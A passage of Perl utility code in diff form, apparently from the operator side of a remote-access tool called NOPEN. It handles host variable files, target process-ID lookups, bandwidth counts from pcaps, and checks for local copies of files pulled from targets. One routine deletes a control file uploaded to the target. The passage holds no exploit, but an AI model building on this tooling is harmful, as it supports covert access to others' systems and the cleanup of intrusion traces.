ctrluploaded=$ctrluploaded= force=$force reusestoic=$reusestoic"); + return if $reusestoic and !$force; + newhostvar(); # Reads in host specific variables fresh +# do "$optmp/stoicuploaded.$nopen_rhostname" +# if -s "$optmp/stoicuploaded.$nopen_rhostname"; + # TODO: switch from above to hostvar. + return unless $socket and $ctrluploaded; + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport) + = parsestatus(); + my ($depth) = $ctrluploaded =~ m,(../)*,; + $depth = length($depth) / 3; + my $curdepth = $targetcwd; + $curdepth =~ s,[^/],,g; + $curdepth = length($curdepth); + while ($curdepth > $depth) { + $ctrluploaded = "../$ctrluploaded"; + $curdepth--; + } + if ($ctrluploaded) { + if (defined &mydoit) { + mydoit("-rm $ctrluploaded"); + } else { + doit("-rm $ctrluploaded"); + } + } + foreach my $key (keys %ctrluploaded) { + delete $ctrluploaded{$key}; + } +# unlink "$optmp/stoicuploaded.$nopen_rhostname"; + newhostvar("ctrluploaded","CLEARALLMATCHING"); + $ctrluploaded = ""; +}#rmctrl + +sub newhostvar { + # Re-write out $varfile with new(replacement) variable. + # Read in entire file again via do. + # For simplicity, assume all are strings for now. + # When defining a hash, the KEY must not contain double quotes, and need + # not be double quoted when newhostvar() is called (we do that here). + # If the string contains any special characters, escape + # them UNLESS the $varname contains "regexp". That means do NOT send + # such special chars here already escaped. + # NEW: Now gbl_ go only in $global_varfile, and host_ in $hostvarfile + local (%variable) = (@_); + +#dbg("In newhostvar(@_), pausing 3"); +#sleep 3; + + # No args, just read latest values and return + unless (%variable) { + do $global_varfile if ($global_varfile and -f $global_varfile); + do $hostvarfile if ($hostvarfile and -f $hostvarfile); +# dbg("newhostvar(@_) returning doing nothing"); + return; + } + +# local ($varname,$value,$doglobal) = (@_); + my ( + # Clear for each file + $contenthash, + $contentscalar, + # Do not clear per file, used only in global which has to be done second + %allglobalhashes, + %allhosthashes, + ) = (); + + my $doglobal = 0; + my @varfiles = (); + + # Odd number of arguments, means this is for $doglobal only + if (scalar @_ % 2) { + pop(@_); + $doglobal++; + } elsif ($hostvarfile) { + push(@varfiles,$hostvarfile); + } else { + $doglobal++; + } + + $doglobal++ if (" @_ " =~ / oppasswd /); + $doglobal++ if (" @_ " =~ / opuser /); + $doglobal++ if (" @_ " =~ / gbl_/); + $doglobal++ unless (@_); # No args, just read/set both files' contents + + push(@varfiles,$global_varfile) + if ($doglobal); + + #dbg("Setting vars from @_ with varfiles=(@varfiles)"); + + # We now hardcode to ALWAYS process both files, so $host_ hashes are + # cleared in global, then set in host + # Global first. + @varfiles = ( + $hostvarfile, + $global_varfile, + ); + @varfiles = ($global_varfile) unless $hostvarfile; + + foreach my $varfile (@varfiles) { + $contenthash = ""; + $contentscalar = ""; + my %setvaralready = (); + if (-f $varfile) { + copy($varfile,"$varfile.$$"); + open(UTILSIN,"$varfile.$$"); + } + my $onglobal = 1 if ($varfile eq $global_varfile); + foreach my $newvarname (sort keys %variable) { + my ($gotnewhostvar,$gotnewglobal_var) = (); + my ($newhashname,$newhashkey) = $newvarname =~ /(\S+)\s*\{([^\}]+)\}/; + my $gotnewhash = 1 if ($newhashname and $newhashkey); + $gotnewhostvar = 1 if ($newvarname =~ /^host_/); + $gotnewglobal_var = 1 if ($newvarname =~ /^(global|gbl)_/); + my $value=$variable{$newvarname}; + # quotes are escaped, regardless +# $value =~ s,([^\\])",$1\\",g; +# $value =~ s,^",\",g; + $value =~ s,\",.,g; + + # Special chars: + * \ ^ . are escaped unless this is a regexp + if ($newvarname =~ /regexp/i) { + # Exception here, in a regexp we single escape the $ if there since $" is a special. + if ($value =~ m,\$$,) { + $value =~ s,\$$,\\,; + $value .= "\$"; + } + } else { + # Must do \ first (we add our own after that) + $value =~ s,\\,\\\\,g; + $value =~ s,\+,\\+,g; + $value =~ s,\*,\\*,g; + $value =~ s,\^,\\^,g; + $value =~ s,\.,\\.,g; + $value =~ s,\#,\\#,g; + # No newlines in this file, all oneline definitions. + $value =~ s,\n,\\n,g; + $value =~ s,\r,\\r,g; + } + + # If this is setting a hash value, ensure the key is quoted + # (make it quoted if it is not),unless the key is an integer. + my $clearmatch = 0; + $clearmatch++ if ($value eq "CLEARALLMATCHING"); + if ($gotnewhash) { + # We must clear the entire hash each global do, then set values + # in either global or host do. + + # Clean up key, then newvarname itself: + # - force just one doublequotes around ALL keys first + # - then for integers force no quotes + # - finally fix newvarname after other fixes + # NOTE: This does not handle well any keys with double quotes + # embedded in them. Just don't do that. + $newhashkey =~ s,\",,g; + # Then remove quotes if it is all digits + unless ($newhashkey =~ m,^(\d+)$,) { + $newhashkey = escapestr($newhashkey); + # Force exactly one \" at front and back + $newhashkey = "\"$newhashkey\""; + } + $newvarname = "$newhashname"."\{$newhashkey\}"; + dbg("BEFORE:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=". + $setvaralready{safestr($newvarname)}); + if ($gotnewglobal_var) { + $allglobalhashes{$newhashname}++; + unless ($clearmatch or $gotnewhostvar or !$onglobal) { + next if ($setvaralready{safestr($newvarname)}++); + $contenthash .= "\$$newvarname = \"$value\";\n"; + } + } else { + $allhosthashes{$newhashname}++; + unless ($clearmatch or $onglobal) { + next if ($setvaralready{safestr($newvarname)}++); + $contenthash .= "\$$newvarname = \"$value\";\n"; + } + } + eval "delete \$$newvarname" + if ($clearmatch or (length $value == 0)); + next; + } +# dbg("BEFORE:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=". +# $setvaralready{safestr($newvarname)}); + + # ASSERT: All $gotnewhash's looped with next already, these + # are scalars. + if ($clearmatch or (length $value == 0)) { + eval "undef \$$newvarname"; + next; + } + +# dbg("1BEFORE ck varname=$newvarname= varfile=$varfile="); + next if ( $gotnewglobal_var and !$onglobal); +# dbg("1MIDDLE ck varname=$newvarname= varfile=$varfile="); + next if ((!$gotnewglobal_var) and $onglobal); +# dbg("1 AFTER ck varname=$newvarname= varfile=$varfile="); + + + + + + next if ($setvaralready{safestr($newvarname)}++); +#dbg("setvaralready is:setvaralready{safestr($newvarname)}==".$setvaralready{safestr($newvarname)}); +# dbg("AFTER:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=". +# $setvaralready{safestr($newvarname)}); + $contentscalar .= "\$$newvarname = \"$value\";\n"; +#dbg("NHV processing $newvarname == $value onglobal=$onglobal= \n\nstill here\n\n contentscalar=$contentscalar="); + } + # ASSERT: The $*content vars have hash and scalar content + # for the current $varfile only. + # ASSERT: The %allglobalhashes and %allhosthashes store the + # names of the hashes that need to be cleared in their resp. files, + # but on first loop + while(my $line = ) { + next if ($line =~ /^\s*$/); + my ($linevar) = $line =~ m,^\s*\$([^=]+)\s*=,; + my ($thishash,$key) = $linevar =~ /(\S+)\s*\{([^\}]+)\}/; + my $gotlinehash = 1 if ($thishash and $key); + # Here we skip any hash resets, those are done by %allhashes + # and only in global for host_ values + if ($line =~ /^\s*\%(\S+) = \(\);/) { + my $hashvarname = $1; + if ($hashvarname =~ /^(gbl|global)_/) { + $allglobalhashes{$hashvarname}++; + } elsif ($hostvarfile) { + $allhosthashes{$hashvarname}++; + } + next; + } + next if ($line =~ /^\#/); + # We skip variables in UTILSIN that are either the wrong file + # or are ones we just set above with new values from %variable. +# dbg("Skipping due to setvaralready{safestr($linevar)}=$setvaralready{safestr($linevar)}") if $setvaralready{safestr($linevar)}; + next if $setvaralready{safestr($linevar)}; + my $skip = 0; + my $skipcount=0; +# dbg($skipcount++." skip=$skip= varfile=$varfile onglobal=$onglobal linevar=$linevar="); + next if $skip; + foreach my $newvarname (sort keys %variable) { + my $newvarnameregexp = $newvarname; + $newvarnameregexp =~ s,\{,\\\{,g; + $newvarnameregexp =~ s,\},\\\},g; + my $value=$variable{$newvarname}; + my $clearmatch = 0; + $clearmatch++ if ($value eq "CLEARALLMATCHING"); +# dbg("2BEFORE ck linevar=$linevar= newvarname=$newvarname= varfile=$varfile="); + + +# This $skip logic replaced with %setvaralready hash +# $skip++ if ($newvarname =~ /^(gbl|global)_/ and !$onglobal); +# dbg($skipcount++." skip=$skip= $newvarname=$newvarname="); +# dbg("2MIDDLE ck newvarname=$newvarname= varfile=$varfile="); +# $skip++ if ($newvarname =~ /^host_/ and $onglobal); +# dbg($skipcount++." skip=$skip="); +# dbg("2 AFTER ck newvarname=$newvarname= varfile=$varfile="); +# $skip++ if ($line =~ /^\s*\$$newvarname\s*=/); + + +# dbg($skipcount++." skip=$skip="); + $skip++ if ($clearmatch and $line =~ /^\s*\$\S*$newvarname\S*\s*=/); +# dbg($skipcount++." skip=$skip clearmatch=$clearmatch"); + if ($skip) { + if ($clearmatch or $value = "") { +# dbg("UNDEFINING \$$linevar== (had been=".(eval "\$$linevar")."=)"); + eval "undef \$$linevar"; + } + } +# dbg("varfile=$varfile skip=$skip= for line=$line=")if $skip; + last if $skip; + } + next if $skip; +# dbg("FINAL:NEWHOSTVAR:Got setvaralready{safestr($linevar)}=".$setvaralready{safestr($linevar)}); + next if $setvaralready{safestr($linevar)}++; +# dbg("PROCEEDING:NEWHOSTVAR:Got setvaralready{safestr($linevar)}=".$setvaralready{safestr($linevar)}); + # ASSERT: Setting this value for the first time in this $varfile, + # (regardless of hash or scalar, global or not). + + #dbg("Keeping: $line"); +# my ($linevar) = $line =~ /\s*\$([^=]+)\s*=/; + my ($gothostvar,$gotglobal_var) = (); + $gothostvar = 1 if ($linevar =~ /^host_/); + $gotglobal_var = 1 if ($linevar =~ /^(global|gbl)_/); + if ($gotlinehash) { + if ($gotglobal_var) { + # Host file first, if %allhosthashes set for this guy no need to here + $allglobalhashes{$thishash}++ + unless $allhosthashes{$thishash}; + $contenthash .= $line + if ($onglobal); + } else { + # Must be either $gothostvar or a var without host_ or gbl_ + $allhosthashes{$thishash}++ + unless $allglobalhashes{$thishash}; + $contenthash .= $line + if (!$onglobal); + } + } else { + $contentscalar .= $line + if (($onglobal and $gotglobal_var) or + (!$gotglobal_var and !$onglobal)); + } + } + close(UTILSIN); + open(UTILSOUT,">$varfile.new.$$"); + # Hash clearing ONLY in global + if ($onglobal) { + print UTILSOUT "# HASHES -- CLEAR ALL\n"; + print UTILSOUT "\n# First globals\n"; + foreach my $hash (sort keys %allglobalhashes) { + print UTILSOUT "\%$hash = ();\n"; + } + print UTILSOUT "\n# Then hosts\n"; + foreach my $hash (sort keys %allhosthashes) { + print UTILSOUT "\%$hash = ();\n"; + } + } + print UTILSOUT "\n# HASHES -- VALUES\n"; +# print UTILSOUT $contenthash; + print UTILSOUT join("\n",sort split(/\n/,$contenthash)); + print UTILSOUT "\n\n\n\# SCALARS\n"; +# print UTILSOUT $contentscalar; + print UTILSOUT join("\n",sort split(/\n/,$contentscalar)); + print UTILSOUT "\n\n"; + close(UTILSOUT); +# preservefile("$varfile.$$",$varfile); + # Confirm good syntax, if so we save it + my $testresult = ""; + $testresult = `perl -c "$varfile.new.$$" 2>&1` ; +#dbg("testresult=$testresult=\n". +# "IN newhostvar(@_) with\n\n". +# "varfile=$varfile=\n". +# "perl -c $varfile.new.$$ 2>&1\n". +# `perl -c "$varfile.new.$$" 2>&1`. +# "\n\nCONTENTS\n========\n". +# `ls -al $varfile.new.$$ 2>&1 ; cat $varfile.new.$$ 2>&1` ); + if ($testresult =~ /syntax OK/) { + unlink("$varfile.$$",$varfile); + rename("$varfile.new.$$",$varfile); + #dbg("newhostvar(@_) done, $varfile now contains:\n==\n". + #`cat $varfile`."=============================================================================="); + } else { + mywarn("Unable to set new variable in $varfile with newhostvar(@_): $testresult") + unless ($calledviacommandline); + } + } + +# foreach $testvarfile (keys %contenthash) { +# my $key = $testvarfile; +# my $onglobal = 1 if ($testvarfile =~ /global/); +# $testvarfile .= ".TESTING"; +# preservefile("$testvarfile.new.$$"); +# open(UTILSOUT,">$testvarfile.new.$$"); +# print UTILSOUT "\n# HASHES -- VALUES\n"; +# print UTILSOUT $contenthash{$key}; +# print UTILSOUT "\n\n\# SCALARS\n"; +# print UTILSOUT $contentscalar{$key}; +# close(UTILSOUT); + +# } + + # Must always do global first. + do $global_varfile if ($global_varfile and -f $global_varfile); + do $hostvarfile if ($hostvarfile and -f $hostvarfile); + +#OLD: # We reset opuser and oppasswd in $global_varfile if need be +# if ($doglobal and $varfile ne $global_varfile) { +# copy($global_varfile,"$global_varfile.$$"); +# open(UTILSIN,"$global_varfile.$$"); +# open(UTILSOUT,">$global_varfile.new.$$"); +# print UTILSOUT "\$gbl_opuser = \"$gbl_opuser\";\n"; +# print UTILSOUT "\$gbl_oppasswd = \"$gbl_oppasswd\";\n"; +# # Probably no other vars in here, but maybe someday getopdata will +# # use it more so we save others as is. +# while(my $line = ) { +# next if $line =~ /^\s*\$op(user|passwd)\s*=/; +# print UTILSOUT $line; +# } +# close(UTILSIN); +# close(UTILSOUT); +# unlink("$global_varfile.$$",$global_varfile); +# rename("$global_varfile.new.$$",$global_varfile); +# # Any need to do this $global_varfile? NO: The hostvarfile may have overridden + # some globals before we will let that stand. Commented out in case + # we change that later: + # do $global_varfile; +# } +} + +sub safestr { + local ($str) = (@_); + $str =~ s,\s*$,,g; + $str =~ s,\n,NEWL,g; + $str =~ s,\r,CRRL,g; + $str =~ s,\{,LBRK,g; + $str =~ s,\},RBRK,g; + $str =~ s,\",DBQT,g; + $str =~ s,\\,BKSLSH,g; + $str =~ s,\@,\\@,g; +# $str =~ s,\$,\\$,g; +# dbg("in safestr(@_) returned =$str="); + return $str; +} +sub escapestr { + local ($str) = (@_); + $str =~ s,\n,\\n,g; + $str =~ s,\r,\\r,g; + $str =~ s,\{,\\\{,g; + $str =~ s,\},\\\},g; + $str =~ s,\",\\\",g; + $str =~ s,\\,\\\\,g; + $str =~ s,\@,\\\@,g; + $str =~ s,\$,\\\$,g; +# dbg("in escapestr(@_) returned =$str="); + return $str; +} +sub mydo { + # Given an $autoscript and new @ARGV = @newargv: + # set global @ARGV, + # clear all opts, and + # use do to call the $autoscript + # Reset @ARGV upon exit of the do. + # Returns 0 on failure, otherwise returns the + # return value of $autoscript. + # SIDE EFFECT: Original $opt_* options set by calling + # process are gone, cleared again before returning. + local ($autoscript,@newargv) = @_; + #dbg("in mydo(@_) prog=$prog autodone=$autodone printlater=$printlater="); + my @resetARGV = @ARGV; + my $savedVER = $VER if defined $VER; + $autoscript = "$opetc/$autoscript" + if -f "$opetc/$autoscript"; + $autoscript = "$opetc/auto$autoscript" + unless -f $autoscript; + unless (-f $autoscript) { + my $or = " or auto$autoscript" unless $autoscript =~ /^auto/; + mywarn("Unable to run mydo(@_),\n\n". + "autoscript $autoscript$or does not exist in $opetc"); + sleep 5; + return 0; + } + unless (-x $autoscript) { + my $or = ""; + mywarn("Unable to run mydo(@_),\n\n". + "autoscript $autoscript$or is not executable:\n". + `ls -al $autoscript`); + sleep 5; + return 0; + } + my $testresult = ""; + $testresult = `perl -c "$autoscript" 2>&1` ; + unless ($testresult =~ /syntax OK/) { + my $or = ""; + mywarn("Unable to run mydo(@_),\n\n". + "autoscript $autoscript$or is not valid perl:\n". + $testresult); + sleep 5; + return 0; + }; + @ARGV = @newargv; +#dbg("\n\n\nABOUT TO DO WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket= ARGV=(@ARGV)\n\n\n"); +#offerabort("\n\n\nABOUT TO DO WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket= ARGV=(@ARGV)\n\n\n"); + clearallopts(); + do $autoscript; + my $retval = $?; + #dbg("HERE retval=$retval="); +# offerabort("HERE retval=$retval="); + clearallopts(); + @ARGV = @resetARGV; + $VER = $savedVER if defined $savedVER; + return $retval; +} + +sub bwsofar_retired { + # Returns how many MEGABYTES we have received thus far + # from our bwmonitor.txt file. + # If sent any args, returns array of ($rx,$tx) bytes. + local ($both) = (@_); + my $bwfile = "$opdown/bwmonitor.txt"; + return "" unless -s $bwfile; + my $rstring = `tail $bwfile | grep RX | tail -1` ; + my ($rxb,$rxu,$runit) = $rstring + =~ /RX bytes:\s*(\d+)\s+\(([\d\.]+)\s*(\S)\S+/; + unless ($rxb) { + $runit = "M"; + ($rxb,$rxu) = $rstring + =~ /RX\s*(\d+)\s+\(([\d\.]+)\)/; + } + #dbg("rx=$rx unit=$runit="); + return 0 unless $runit =~ /[GKM]/; + my $rxmb = sprintf("%.2f",$rxb / 1024 / 1024) ; + return $rxmb unless $both; + my $tstring = `tail $bwfile | grep TX | tail -1` ; + my ($txb,$txu,$tunit) = $tstring + =~ /TX bytes:\s*(\d+)\s+\(([\d\.]+)\s*(\S)\S+/; + unless ($txb) { + ($txb) = $tstring + =~ /TX\s*(\d+)\s/; + } + my $txmb = sprintf("%.2f",$txb / 1024 / 1024) ; + return ($rxmb,$txmb); +} + +sub bwsofar { + # Returns how many MEGABYTES we have received thus far + # in the most recent pcap file for a pitchimpair. + # If sent an IP arg, limit responses to only those that + # match the IP sent. + local($whichip) = (@_); + ($gbl_project,$gbl_targets,@gbl_projectlist) = + opnotesprojects(\%gbl_projectshash, + \%gbl_aliaseshash, + \%gbl_depthhash, + \%gbl_hostnamehash, + \%gbl_statushash, + \%gbl_typehash, + \%gbl_commentshash, + \%gbl_targetline, + ); + + unless (opendir(PCAPDIR,"/home/black/tmp/pcaps")) { + mydie("Cannot opendir(PCAPDIR,/home/black/tmp/pcaps)"); + } + my @allpcapfiles = readdir(PCAPDIR); + closedir(PCAPDIR); + + foreach my $ip (keys %requestedpitchips) { + foreach my $pcapfile (@allpcapfiles) { + next if ($pcapfile =~ /info$/); + next unless ($pcapfile =~ /^unixdump\./); + next unless ($pcapfile =~ /_${ip}_/); + my $size = -s "/home/black/tmp/pcaps/$pcapfile"; +#offerabort(`cd /home/black/tmp/pcaps ; ls -lrt $pcapfile`."\n". "size=$size="); + $ipsum{$ip} += $size; + push(@pitchcapfiles,$pcapfile) + } + } + my $allpitchsum = 0; + foreach my $ip (keys %requestedpitchips) { + $allpitchsum += $ipsum{$ip}; + } + unless ($whichip) { + foreach my $ip (keys %requestedpitchips) { + $whichip .= " and" if $whichip; + $whichip .= " $ip"; + } + $whichip = "all pitchimpair IPs$whichip"; +# my $whichfile = `cd /home/black/tmp/pcaps ; ls -lrt @pitchcapfiles | tail -1`; +# ($whichip) = $whichfile =~ /_([^_]*)_/; + } + #dbg("pcap files for $whichip:\n". + # `cd /home/black/tmp/pcaps ; ls -alrt @pitchcapfiles` + # ); + return int(100*bwsofar_retired())/100 unless ($allpitchsum); + return (int(100*$allpitchsum/1024/1024)/100, + keys(%requestedpitchips), + ) ; +} + +sub reusefile { + # Using the gen_[abc] global generics temporarily, we write out + # $tmpfile.pl with content sent to us, or if no content + # sent, we read from $tmpfile.pl with do and return two scalars + # and an array that were set by it. + local($ru_file,$comment,$scalar1,$scalar2,@array) = (@_); + if ($scalar1 or $scalar2 or @array) { + # We write out to $tmpfile.pl the variable content + unless (open(RUOUT,">$ru_file.pl")) { + #dbg("BIG PROBLEM: reusefile() cannot write to $ru_file"); + return (); + } + $scalar1 =~ s/\"/\\\"/g; + $scalar2 =~ s/\"/\\\"/g; + print RUOUT "\n#$comment\n\n"; + print RUOUT "\n\$gen_a = \"$scalar1\";\n"; + print RUOUT "\n\$gen_b = \"$scalar2\";\n"; + print RUOUT "\n\@gen_a = (\n"; + foreach (@array) { + s/\"/\\\"/g; + print RUOUT " \"$_\",\n"; + } + print RUOUT ");\n\n"; + close(RUOUT); + return (); + } + # ELSE WE READ FROM AND RETURN VALUES IN $ru_file + return () unless -s "$ru_file.pl" and do "$ru_file.pl"; + return($gen_a,$gen_b,@gen_a); +} + +sub readarrayfrom { + # Returns array containing elements from $file, one per line + # Empty lines and #comments are skipped + # Elements are chomped (no trailing newline). + # NOTE: as of 03 APR 2010, nothing is using $refmatch, took that out of -lss. + # If $refmatch, scalar reference, is supplied, + # then 1: Skip the first element that equals that value + # 2: If such match, leave the $$refmatch alone, + # if no such match, set it to 0. + local($file,$refmatch) = (@_); + my $localmatch = 0; + my @results = (); + unless (-s $file and open(LSSIN,$file)) { + $$refmatch = "" if (defined $refmatch and defined $$refmatch); + return (); + } + while (my $line = ) { + chomp($line); + if (defined $refmatch and defined $$refmatch and + !$localmatch and $line eq $$refmatch) { + $localmatch = 1; + next; + } + next if (!$line or $line =~ /^\s*\#/); + push(@results,$line); + } + close(LSSIN); + $$refmatch = "" + if (!$localmatch and + defined $refmatch + and defined $$refmatch); +#dbg("reararrayfrom(@_) returning (@results)"); + return @results; +} + +sub myalert { + # If first argument is NOLOGGING, then even with $autodone set we + # do not log this to latewarnings (which autonewdone pops up last). + my $nolog = shift if ($_[0] =~ /NOLOGGING/); + local ($what,$color,$color2,$what2,$popup) = (@_) ; + if ($color =~ /^(popup.*)/i) { + $color = ""; + $popup = $1; + } +# dbg("nostdout=$nostdout In myalert(@_) + +#color=$color= +#popup=$popup= +#"); + + $color = $COLOR_FAILURE unless $color ; + my $pid = $$; + $pid .= "($pp_utils)" if $pp_utils; + $what="${color2}${prog}[$pid]$what2\a: ${color}$what$COLOR_NORMAL"; + dolocalecho($what,$popup); + if ($autodone and !$nolog) { + open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ; + print MYOUT "$what\n" ; + close MYOUT; + } +}#myalert + +sub splitload { + local ($part,$ofparts,$refarray) = (@_); + # Split @$array into $ofparts parts, set @$array to the $part^th + # part, discarding the rest. + return if ($ofparts == 1 or $ofparts == 0); + my @new = (); + for (my $i=$part-1;$i<@$refarray;$i+=$ofparts) { + push(@new,$$refarray[$i]); + } + #dbg("new way $part of $ofparts woulda returned new=(@new)"); + @$refarray=@new; + return; +# OTHER method here no longer used, N chunks 1-i, i+1-j, ..., y+1-M + my $count = @$refarray; + my $size = int($count / $ofparts); + # If this is the last part, take the remaining elements + my $extra = 0; + $extra = $count if $part == $ofparts; + my @newlist = splice(@$refarray,($part - 1) * $size,$size + $extra); + @$refarray = @newlist; +}#splitload + +sub graphic { + local ($count,$total,$width,$char) = (@_); + $char = "\#" unless $char; + # returns a bar graph of $char's, $width wide, + # with $count/$total % of it full + $width-=2; # Take off two for the "|" at front/back + return "" unless $total > 0; + return sprintf("\|%-${width}s\|",$char x ($width*$count/$total)) ; +}#graphic + +sub makepidhash { + local (@line) = (); + # Read in $opdown/pid and generate a hash of NOPEN PIDs, with the key + # being the $nopen_rhostname at time of lookup in lookupnopenpids(). + # FIXME: make use of the hostvar stuff to persist this... + open(PIDFILE, "< $opdown/pid") or mydie("Can't open $opdown/pid! $!"); + while() { + next unless /^(.+):\s(\d+)\s\((\d+)\)/; + #dbg("in makepidhash, \$1 = =$1=, \$2 = =$2=, \$3 = =$3="); + push @{ $nopenpids{$1} }, $2; + push @{ $nopenpids{$1} }, $3 unless $3 == $host_initpid; +# dbg("in makepidhash, $1 = =@{ $nopenpids{$1} }="); + } + close(PIDFILE); +} + +sub lookupnopenpids() { + local ($type, $rhostname, $pid) = (@_); + my @pids = (); + my @uniquepids = (); + $rhostname = $nopen_rhostname unless $rhostname; + # Based on $type, look up either an entire set of NOPEN PIDs + # for a given $rhostname, or one or more $rhostnames based on a single + # PID. + if ($type == 1) { + # Return all of the PIDs that we have for a given hostname. + for my $hostname (keys %nopenpids) { + next unless $hostname eq $rhostname; + #dbg("in lookupnopenpids, doing hostname lookup with =$hostname="); + foreach $pid (@{ $nopenpids{$hostname} }) { + #dbg("in lookupnopenpids, next PID on =$hostname= is =$pid="); + push(@pids, $pid); + } + } + @uniquepids = uniqify_array(@pids); + #dbg("in lookupnopenpids, returning array \@pids = =@uniquepids="); + return sort by_num @uniquepids; + } + return (); +} + +sub findpidsfor { + #OLD INPUT: $regexp,\@pids,\@pidlines,\@parentpids,\@parentlines,$anchortoken,@psoutput + # INPUT: $regexp,\%pidlines,\%parentlines,$anchortoken,@psoutput + # $regexp is something on the line(s) we are interested in + # @psoutput is an array of NOPEN =ps output lines (no ) + # ASSUME: \S+\s+\d+\s+\d+ will match (user) (pid) (ppid) + # ASSUME: If $freebsdtarget is true, then use "ps aluxww" instead of =ps + # RETURN: NIL (contents of referenced arrays are modified) + # + local ($regexp, +# $pidsref, +$pidlinesref, +# $parentpidsref, +$parentlinesref, + $anchortoken, + @fpf_psoutput) = (@_); + my ($anchoreol,$anchorskipnum) = (); + if (length $anchortoken) { + if ($anchortoken =~ /^EOL(.*)/) { + $anchortoken = $1; + $anchoreol = 1 if length($anchortoken); + } + } + foreach (@fpf_psoutput) { + next unless /$regexp/; + if (length $anchortoken) { + if ($anchoreol) { + next unless /$anchortoken\s*$/; + #} elsif { + } else { + next unless /$regexp\s*$anchortoken/ or /$anchortoken\s*$regexp/ ; + } + } + # Most =ps input, it's userNAME PID PPID, on + # FreeBSD + my ($pid,$parentpid) = /^\s*\D+\s+(\d+)\s+(\d+)/; + if ($freebsdtarget and !$ignorefreebsdsetting) { + ($pid,$parentpid) = /\d+\s+(\d+)\s+(\d+)/; + } elsif (!$pid or !$parentpid) { + ($pid,$parentpid) = /\D+\s+(\d+)\s+(\d+)/; + } + $$pidlinesref{$pid} = $_; +# push(@$pidsref,$pid); + +# push(@$pidlinesref,$_); +# push(@$parentpidsref,$parentpid); + if ($freebsdtarget and !$ignorefreebsdsetting) { + #dbg("in findpidsfor freebsdtarget section"); + # push(@$parentlinesref,grep /\D+\s+$parentpid/,@fpf_psoutput); + $$parentlinesref{$parentpid} = + join("\n",grep /\D+\s+$parentpid\s/,@fpf_psoutput); + } else { +# dbg("in findpidsfor NOT-freebsdtarget section looking for \\d+\\s+$parentpid +#fpf_psoutput=(\n". +# #join("\n",@fpf_psoutput). +# "\n) + +#"); + + $$parentlinesref{$parentpid} = + join("\n",grep /\D+\s+$parentpid\s+\d/,@fpf_psoutput); + + # push(@$parentlinesref,grep /\D+\s+$parentpid\s+\d/,@fpf_psoutput); + } + } + +# dbg("Leaving findpidsfor($regexp,hashes,$anchortoken,PSLISTING) with +#pids =(".join(" ",keys %$pidlinesref).") +#pidlines =(".join("\n ",values %$pidlinesref).") +#parentpids =(".join(" ",keys %$parentlinesref).") +#parentplines=(".join("\n ",values %$parentlinesref).")"); +} + +sub gotlocalcopy { + # Given input: Single -ls line or remote path, + # return an array with: + # first element is the down/HOST copy (if any), + # second element is the down/HOST/via-gs.rsync copy, and + # third element is the REMOTE path to the file + # fourth element is 1 iff %filesizes is populated and size matches, and + # fifth element is the size difference. + local($remotefile,$localdir,$remotecwd) = (@_); + # $remotefile sent in can be -ls output, we find + # the remote filename in that case. + my $filename = ""; + my ($sizematch,$sizediff) = (0,0); + + unless ($remotefile =~ m,^/,) { + $filename = $2 if + ($remotefile =~ + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or + $remotefile =~ + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or + $remotefile =~ + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*),); + #dbg("IN gotlocalcopy(@_) remotefile was=$remotefile= filename=$filename="); + $filename = "$remotecwd/$remotefile" + if (!$filename and + $remotecwd =~ m,^/, and + $remotefile !~ m,^/,); + #dbg("IN gotlocalcopy(@_) remotefile is now=$remotefile= filename=$filename="); + } + $filename = $remotefile + unless $filename; + # Here we add escape to space if need be in $filename2. The + # $filesizes{} value has to be set for one of them, we use that. + my $filename2 = $filename; + $filename2 =~ s, ,\\ ,g; # Escaped spaces in this one + return () unless ($remotefile and + $nopen_rhostname and + -d "$opdown/$nopen_rhostname"); +#dbg("Still in gotlocalcopy"); + my ($gotit,$gotviaother,@localdirs)=(); + @localdirs = ("$opdown/$nopen_rhostname/", + "$opdown/NOSEND/$nopen_rhostname/"); + push(@localdirs,"$opdown/$nopen_rhostname/$dir", + "$opdown/NOSEND/$nopen_rhostname/$dir"); + # Have to recompute this, might have just been created by the lss -L option. + @rsyncdirs = split(/\n/,`ls -1d $opdown/$nopen_rhostname/via-gs.rsync* $opdown/NOSEND/$nopen_rhostname/via-gs.rsync* 2>/dev/null`); + foreach my $rdir (@rsyncdirs) { + push(@localdirs,$rdir); + push(@localdirs,"$rdir/$localdir") if $localdir; + } + my %dirdone = (); + foreach my $dir (@localdirs) { + $dir = "$opdown/$nopen_rhostname/$dir" + unless ($dir =~ m,$opdown, or + $dir =~ m,/current/down,); + $dir =~ s,/+,/,g; + $dir =~ s,/$,,g; + next unless (-d $dir and !$dirdone{$dir}++); + my $localsize = -s "$dir/$filename"; + #dbg("localsize=$localsize=\nls -al \"$dir/$filename\"".`ls -al "$dir/$filename"`); + #dbg("localsize=$localsize=\nls -al $dir/$filename".`ls -al $dir/$filename`); + my $usesize = $filesizes{$filename}; + $usesize = $filesizes{$filename2} unless $usesize; + if (-e "$dir/$filename") { + $sizediff = $usesize - -s "$dir/$filename"; + $gotviaother = "$dir/$filename"; + $sizematch = 1 if ($usesize and + $usesize == -s "$dir/$filename"); + } elsif (-e "$dir/".basename($filename)) { + $sizediff = $usesize - -s "$dir/".basename($filename); + $gotviaother = "$dir/".basename($filename); + $sizematch = 1 if ($usesize and + $usesize == -s "$dir/".basename($filename)); + } + last if $gotviaother; + } + + + # 20101029: These $filenames have some things escaped, like spaces, but here + # in our perl code there's no need for that, so we remove them all. That means + # files with an actual backslash in them CANNOT be processed this way. + # RE-using $filename2 here, for different purpose, this time we REMOVE escapes + $filename2 = $filename; + $filename2 =~ s,\\,,g; + my $usesize = $filesizes{$filename}; + $usesize = $filesizes{$filename2} unless $usesize; + + if (-e "$opdown/$nopen_rhostname/$filename2") { + $gotit = 